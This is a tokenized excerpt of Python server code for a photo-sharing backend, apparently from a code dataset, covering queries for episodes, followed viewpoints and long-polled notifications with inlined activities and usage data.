"get_", "(_", "'", "get", "\\u", "photo", "s", "'_", ",_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response", "\\u", "ep", "\\u", "dict_", "[_", "'", "photo", "s", "'_", "]_", "=_", "[_", "\\u", "Make", "Photo", "Dict_", "(_", "photo_", ",_", "post_", ",_", "user", "\\u", "post_", ",_", "user", "\\u", "photo_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "photo_", ",_", "post_", ",_", "user", "\\u", "post_", ",_", "user", "\\u", "photo_", "in_", "photo", "\\u", "info", "\\u", "list_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "photo", "\\u", "info", "\\u", "list_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response", "\\u", "ep", "\\u", "dict_", "[_", "'", "last", "\\u", "key", "'_", "]_", "=_", "photo", "\\u", "info", "\\u", "list_", "[_", "-_", "1_", "]_", "[_", "0_", "]_", "._", "photo", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "num", "\\u", "photos_", "+=_", "len_", "(_", "photo", "\\u", "info", "\\u", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "response", "\\u", "dict_", "[_", "'", "episode", "s", "'_", "]_", "._", "append_", "(_", "response", "\\u", "ep", "\\u", "dict_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "logging_", "._", "info_", "(_", "'", "QUE", "RY", " ", "EPI", "SO", "DES", ":", " ", "user", ":", " ", "%", "d", ",", " ", "device", ":", " ", "%", "d", ",", " ", "%", "d", " ", "episode", "s", ",", " ", "%", "d", " ", "photo", "s", "'_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "len_", "(_", "response", "\\u", "dict_", "[_", "'", "episode", "s", "'_", "]_", ")_", ",_", "num", "\\u", "photos_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "callback_", "(_", "response", "\\u", "dict_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Query", "Followe", "d_", "(_", "client_", ",_", "obj", "\\u", "store_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Querie", "s", " ", "all", " ", "view", "points", " ", "followe", "d", " ", "by", " ", "the", " ", "current", " ", "user", ".", " ", "Supp", "orts", " ", "a", " ", "limit", " ", "and", " ", "a", " ", "start", " ", "key", "\\", "10", ";", " ", " ", "for", " ", "pagina", "tion", ".", "\\", "10", ";", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "start", "\\u", "key_", "=_", "request_", "._", "get_", "(_", "'", "start", "\\u", "key", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "limit_", "=_", "request_", "._", "get_", "(_", "'", "limit", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "followe", "d_", "=_", "yield_", "gen_", "._", "Task_", "(_", "Followe", "d_", "._", "Range", "Query_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "client_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "hash", "\\u", "key_", "=_", "user", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "range", "\\u", "desc_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "limit_", "=_", "limit_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "col", "\\u", "names_", "=_", "[_", "'", "view", "point", "\\u", "id", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "excl", "\\u", "start", "\\u", "key_", "=_", "start", "\\u", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Get", " ", "the", " ", "view", "point", " ", "associate", "d", " ", "with", " ", "each", " ", "follower", " ", "object", "._", "\\u\\u\\uNL\\u\\u\\u_", "last", "\\u", "key_", "=_", "followe", "d_", "[_", "-_", "1_", "]_", "._", "sort", "\\u", "key_", "if_", "len_", "(_", "followe", "d_", ")_", ">_", "0_", "else_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "view", "point", "\\u", "keys_", "=_", "[_", "db", "\\u", "client_", "._", "DB", "Key_", "(_", "f_", "._", "view", "point", "\\u", "id_", ",_", "None_", ")_", "for_", "f_", "in_", "followe", "d_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "follower", "\\u", "keys_", "=_", "[_", "db", "\\u", "client_", "._", "DB", "Key_", "(_", "user", "\\u", "id_", ",_", "f_", "._", "view", "point", "\\u", "id_", ")_", "for_", "f_", "in_", "followe", "d_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "view", "points_", ",_", "followers", "_", "=_", "yield_", "[_", "gen_", "._", "Task_", "(_", "View", "point_", "._", "Bat", "ch", "Query_", ",_", "client_", ",_", "view", "point", "\\u", "keys_", ",_", "None_", ",_", "must", "\\u", "exist_", "=_", "False_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "gen_", "._", "Task_", "(_", "Followe", "r_", "._", "Bat", "ch", "Query_", ",_", "client_", ",_", "follower", "\\u", "keys_", ",_", "None_", ",_", "must", "\\u", "exist_", "=_", "False_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Form", "ulate", " ", "the", " ", "view", "points", " ", "list", " ", "int", "o", " ", "a", " ", "dict", " ", "for", " ", "JSO", "N", " ", "output", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "NOTE", ":", " ", "If", " ", "we", " ", "ever", " ", "add", " ", "content", " ", "to", " ", "the", " ", "view", "point", " ", "data", " ", "bei", "ng", " ", "return", "ed", " ", "here", ",", " ", "filtering", " ", "out", " ", "tha", "t", " ", "content_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "if", " ", "the", " ", "requester", " ", "doe", "sn", "'", "t", " ", "have", " ", "view", " ", "access", " ", "to", " ", "it", " ", "shou", "ld", " ", "be", " ", "consider", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "{_", "'", "view", "points", "'_", ":_", "[_", "\\u", "Make", "View", "point", "Meta", "data", "Dict_", "(_", "v_", ",_", "f_", ",_", "obj", "\\u", "store_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "v_", ",_", "f_", "in_", "zip_", "(_", "view", "points_", ",_", "followers", "_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "v_", "is_", "not_", "None_", "]_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "util_", "._", "Set", "If", "Not", "None_", "(_", "response_", ",_", "'", "last", "\\u", "key", "'_", ",_", "last", "\\u", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "logging_", "._", "info_", "(_", "'", "QUE", "RY", " ", "FOL", "LOW", "ED", ":", " ", "user", ":", " ", "%", "d", ",", " ", "device", ":", " ", "%", "d", ",", " ", "%", "d", " ", "view", "points", ",", " ", "start", " ", "key", " ", "%", "s", ",", " ", "last", " ", "key", " ", "%", "s", "'_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "len_", "(_", "response_", "[_", "'", "view", "points", "'_", "]_", ")_", ",_", "start", "\\u", "key_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "._", "get_", "(_", "'", "last", "\\u", "key", "'_", ",_", "'", "Non", "e", "'_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "raise_", "gen_", "._", "Return_", "(_", "response_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Query", "Notifi", "cations", "_", "(_", "client_", ",_", "obj", "\\u", "store_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Querie", "s", " ", "a", " ", "list", " ", "of", " ", "pend", "ing", " ", "notification", "s", " ", "for", " ", "a", " ", "user", " ", "sinc", "e", " ", "the", " ", "last", "\\", "10", ";", " ", " ", "request", ".", "\\", "10", ";", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Client", "s", " ", "are", " ", "not", " ", "allow", "ed", " ", "to", " ", "request", " ", "long", " ", "polling", " ", "for", " ", "more", " ", "than", " ", "this", " ", "duration", "._", "\\u\\u\\uNL\\u\\u\\u_", "MAX", "\\u", "LONG", "\\u", "POLL", "_", "=_", "300_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "With", "in", " ", "our", " ", "fake", " ", "long", " ", "polling", ",", " ", "poll", " ", "the", " ", "databa", "se", " ", "this", " ", "oft", "en", "._", "\\u\\u\\uNL\\u\\u\\u_", "LONG", "\\u", "POLL", "\\u", "INTERVAL_", "=_", "5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "start", "\\u", "key_", "=_", "int_", "(_", "request_", "._", "get_", "(_", "'", "start", "\\u", "key", "'_", ")_", ")_", "if_", "'", "start", "\\u", "key", "'_", "in_", "request_", "else_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "limit_", "=_", "request_", "._", "get_", "(_", "'", "limit", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "scan", "\\u", "forward_", "=_", "request_", "._", "get_", "(_", "'", "scan", "\\u", "forward", "'_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "max", "\\u", "long", "\\u", "poll_", "=_", "min_", "(_", "int_", "(_", "request_", "._", "get_", "(_", "'", "max", "\\u", "long", "\\u", "poll", "'_", ",_", "0_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "MAX", "\\u", "LONG", "\\u", "POLL", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "max", "\\u", "long", "\\u", "poll_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "deadline_", "=_", "IO", "Loop_", "._", "current_", "(_", ")_", "._", "time_", "(_", ")_", "+_", "max", "\\u", "long", "\\u", "poll_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "deadline_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "notifications_", "=_", "yield_", "Notifi", "cation", "Manager_", "._", "Query", "Sin", "ce_", "(_", "client_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "user", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "device", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "start", "\\u", "key_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "limit_", "=_", "limit_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "scan", "\\u", "forward_", "=_", "scan", "\\u", "forward_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "notifications_", ")_", ">_", "0_", "or_", "deadline_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "now_", "=_", "IO", "Loop_", "._", "current_", "(_", ")_", "._", "time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "next", "\\u", "try_", "=_", "now_", "+_", "LONG", "\\u", "POLL", "\\u", "INTERVAL_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "next", "\\u", "try_", ">=_", "deadline_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "No", " ", "point", " ", "in", " ", "sched", "ulin", "g", " ", "a", " ", "query", " ", "after", " ", "we", " ", "expect", " ", "our", " ", "client", " ", "to", " ", "go", " ", "awa", "y", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "vf", "\\u", "context_", "=_", "base_", "._", "View", "finde", "r", "Context_", "._", "current_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "vf", "\\u", "context_", "._", "connecti", "on", "\\u", "close", "\\u", "event_", "is_", "not_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "vf", "\\u", "context_", "._", "connecti", "on", "\\u", "close", "\\u", "event_", "._", "wait_", "(_", "next", "\\u", "try_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "tor", "o_", "._", "Timeout_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "The", " ", "close", " ", "event", " ", "timed", " ", "out", ",", " ", "meaning", " ", "the", " ", "client", " ", "is", " ", "still", " ", "connected_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "and", " ", "it", "'", "s", " ", "time", " ", "to", " ", "try", " ", "again", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "The", " ", "close", " ", "event", " ", "trigger", "ed", " ", "with", "out", " ", "tim", "ing", " ", "out", ",", " ", "so", " ", "give", " ", "up", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "vf", "\\u", "context_", "._", "connecti", "on", "\\u", "close", "\\u", "event_", "._", "is", "\\u", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "At", " ", "this", " ", "point", " ", "we", " ", "eit", "her", " ", "have", " ", "non", "-", "empty", " ", "results", ",", " ", "the", " ", "client", " ", "is", " ", "not_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "in", " ", "long", "-", "polling", " ", "mode", ",", " ", "the", " ", "long", "-", "polling", " ", "deadl", "ine", " ", "has", " ", "expir", "ed", ",", " ", "or_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "client", " ", "has", " ", "disconnected", ".", " ", "We", " ", "coul", "d", " ", "short", "-", "circuit", " ", "in", " ", "the", " ", "latt", "er_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "case", ",", " ", "but", " ", "it", " ", "doe", "sn", "'", "t", " ", "hur", "t", " ", "to", " ", "go", " ", "ahe", "ad", " ", "and", " ", "generat", "e", " ", "the", " ", "empty_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "result", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Get", " ", "any", " ", "activit", "ies", " ", "tha", "t", " ", "are", " ", "associate", "d", " ", "with", " ", "the", " ", "notification", "s", " ", "in", " ", "a", " ", "single", " ", "batch", " ", "query", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "activit", "y", "\\u", "keys_", "=_", "[_", "db", "\\u", "client_", "._", "DB", "Key_", "(_", "n_", "._", "view", "point", "\\u", "id_", ",_", "n_", "._", "activit", "y", "\\u", "id_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "n_", "in_", "notifications_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "n_", "._", "activit", "y", "\\u", "id_", "is_", "not_", "None_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "activities_", "=_", "yield_", "gen_", "._", "Task_", "(_", "Activity_", "._", "Bat", "ch", "Query_", ",_", "client_", ",_", "activit", "y", "\\u", "keys_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "{_", "'", "notification", "s", "'_", ":_", "[_", "]_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "notifications_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "[_", "'", "last", "\\u", "key", "'_", "]_", "=_", "www", "\\u", "util_", "._", "Format", "Integra", "l", "Las", "t", "Key_", "(_", "notifications_", "[_", "-_", "1_", "]_", "._", "notification", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "notification_", "in_", "notifications_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "notification", "\\u", "dict_", "=_", "{_", "'", "notification", "\\u", "id", "'_", ":_", "notification_", "._", "notification", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "notification_", "._", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "sender", "\\u", "id", "'_", ":_", "notification_", "._", "sender", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "timestamp", "'_", ":_", "notification_", "._", "timestamp_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "util_", "._", "Set", "If", "Not", "None_", "(_", "notification", "\\u", "dict_", ",_", "'", "op", "\\u", "id", "'_", ",_", "notification_", "._", "op", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "invalidate", "_", "=_", "notification_", "._", "Get", "Inva", "lida", "te_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "util_", "._", "Set", "If", "Not", "None_", "(_", "notification", "\\u", "dict_", ",_", "'", "invalidate", "'_", ",_", "invalidate", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "the", " ", "operati", "on", " ", "modifi", "ed", " ", "a", " ", "view", "point", "'", "s", " ", "update", "\\u", "seq", " ", "or", " ", "viewed", "\\u", "seq", " ", "values", ",", " ", "in", "-", "line", " ", "them", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "notification_", "._", "update", "\\u", "seq_", "is_", "not_", "None_", "or_", "notification_", "._", "viewed", "\\u", "seq_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "vp", "\\u", "dict_", "=_", "notification", "\\u", "dict_", "._", "setdefault_", "(_", "'", "inline", "'_", ",_", "{_", "}_", ")_", "._", "setdefault_", "(_", "'", "view", "point", "'_", ",_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vp", "\\u", "dict_", "[_", "'", "view", "point", "\\u", "id", "'_", "]_", "=_", "notification_", "._", "view", "point", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "notification_", "._", "update", "\\u", "seq_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "vp", "\\u", "dict_", "[_", "'", "update", "\\u", "seq", "'_", "]_", "=_", "notification_", "._", "update", "\\u", "seq_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "notification_", "._", "viewed", "\\u", "seq_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "vp", "\\u", "dict_", "[_", "'", "viewed", "\\u", "seq", "'_", "]_", "=_", "notification_", "._", "viewed", "\\u", "seq_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "the", " ", "operati", "on", " ", "adde", "d", " ", "an", " ", "activit", "y", ",", " ", "in", "-", "line", " ", "it", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "notification_", "._", "activit", "y", "\\u", "id_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "activity_", "=_", "activities_", "._", "pop_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Project", " ", "all", " ", "activit", "y", " ", "column", "s", ",", " ", "but", " ", "nest", " ", "the", " ", "json", " ", "column", " ", "under", "nea", "th", " ", "a", " ", "key", " ", "call", "ed", " ", "activit", "y", ".", "name", "._", "\\u\\u\\uNL\\u\\u\\u_", "activit", "y", "\\u", "dict_", "=_", "activity_", "._", "Make", "Meta", "data", "Dict_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "notification", "\\u", "dict_", "._", "setdefault_", "(_", "'", "inline", "'_", ",_", "{_", "}_", ")_", "[_", "'", "activit", "y", "'_", "]_", "=_", "activit", "y", "\\u", "dict_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "this", " ", "was", " ", "a", " ", "post", "\\u", "comment", " ", "notification", ",", " ", "in", "-", "line", " ", "the", " ", "comment", " ", "metadata", " ", "if", " ", "no", " ", "invalid", "ation", " ", "exist", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "NOTE", ":", " ", "If", "/", "whe", "n", " ", "we", " ", "allow", " ", "unfol", "low", "ing", " ", "view", "points", ",", " ", "permissi", "ons", " ", "wou", "ld", " ", "have", " ", "to", " ", "be", " ", "checke", "d", " ", "to", " ", "ensure", " ", "that_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "the", " ", "calling", " ", "user", " ", "is", " ", "still", " ", "a", " ", "follower", " ", "of", " ", "the", " ", "view", "point", " ", "contain", "ing", " ", "the", " ", "comment", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "activity_", "._", "name_", "==_", "'", "post", "\\u", "comment", "'_", "and_", "notification_", "._", "invalidate", "_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "comment", "\\u", "id_", "=_", "activit", "y", "\\u", "dict_", "[_", "'", "post", "\\u", "comment", "'_", "]_", "[_", "'", "comment", "\\u", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "comment_", "=_", "yield_", "gen_", "._", "Task_", "(_", "Comment_", "._", "Query_", ",_", "client_", ",_", "notification_", "._", "view", "point", "\\u", "id_", ",_", "comment", "\\u", "id_", ",_", "col", "\\u", "names_", "=_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "notification", "\\u", "dict_", "[_", "'", "inline", "'_", "]_", "[_", "'", "comment", "'_", "]_", "=_", "comment_", "._", "\\u", "asd", "ict_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "response_", "[_", "'", "notification", "s", "'_", "]_", "._", "append_", "(_", "notification", "\\u", "dict_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "response_", "[_", "'", "notification", "s", "'_", "]_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Query", " ", "usage", " ", "data", " ", "and", " ", "inline", " ", "it", " ", "int", "o", " ", "the", " ", "last", " ", "notification", " ", "in", " ", "the", " ", "response", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u", "Account", "ing", "As", "Dict_", "(_", "act_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "act_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "act", "\\u", "dict_", "=_", "act_", "._", "\\u", "asd", "ict_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "act", "\\u", "dict_", "._", "pop_", "(_", "'", "hash", "\\u", "key", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "act", "\\u", "dict_", "._", "pop_", "(_", "'", "sort", "\\u", "key", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "act", "\\u", "dict_", "._", "pop_", "(_", "'", "op", "\\u", "ids", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "act", "\\u", "dict_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "owned", "_", ",_", "shared_", ",_", "visible_", "=_", "yield_", "gen_", "._", "Task_", "(_", "Account", "ing_", "._", "Query", "User", "Account", "ing_", ",_", "client_", ",_", "user", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "usage", "\\u", "dict_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "util_", "._", "Set", "If", "Not", "None_", "(_", "usage", "\\u", "dict_", ",_", "'", "owned", "\\u", "by", "'_", ",_", "\\u", "Account", "ing", "As", "Dict_", "(_", "owned", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "util_", "._", "Set", "If", "Not", "None_", "(_", "usage", "\\u", "dict_", ",_", "'", "shared", "\\u", "by", "'_", ",_", "\\u", "Account", "ing", "As", "Dict_", "(_", "shared_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "util_", "._", "Set", "If", "Not", "None_", "(_", "usage", "\\u", "dict_", ",_", "'", "visi", "ble", "\\u", "to", "'_", ",_", "\\u", "Account", "ing", "As", "Dict_", "(_", "visible_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "usage", "\\u", "dict_", "._", "keys_", "(_", ")_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Thi", "s", " ", "notification", " ", "may", " ", "not", " ", "have", " ", "an", " ", "inline", " ", "field", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "last", "\\u", "notification_", "=_", "response_", "[_", "'", "notification", "s", "'_", "]_", "[_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "last", "\\u", "notification_", "._", "setdefault_", "(_", "'", "inline", "'_", ",_", "{_", "}_", ")_", "[_", "'", "user", "'_", "]_", "=_", "{_", "'", "usage", "'_", ":_", "usage", "\\u", "dict_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 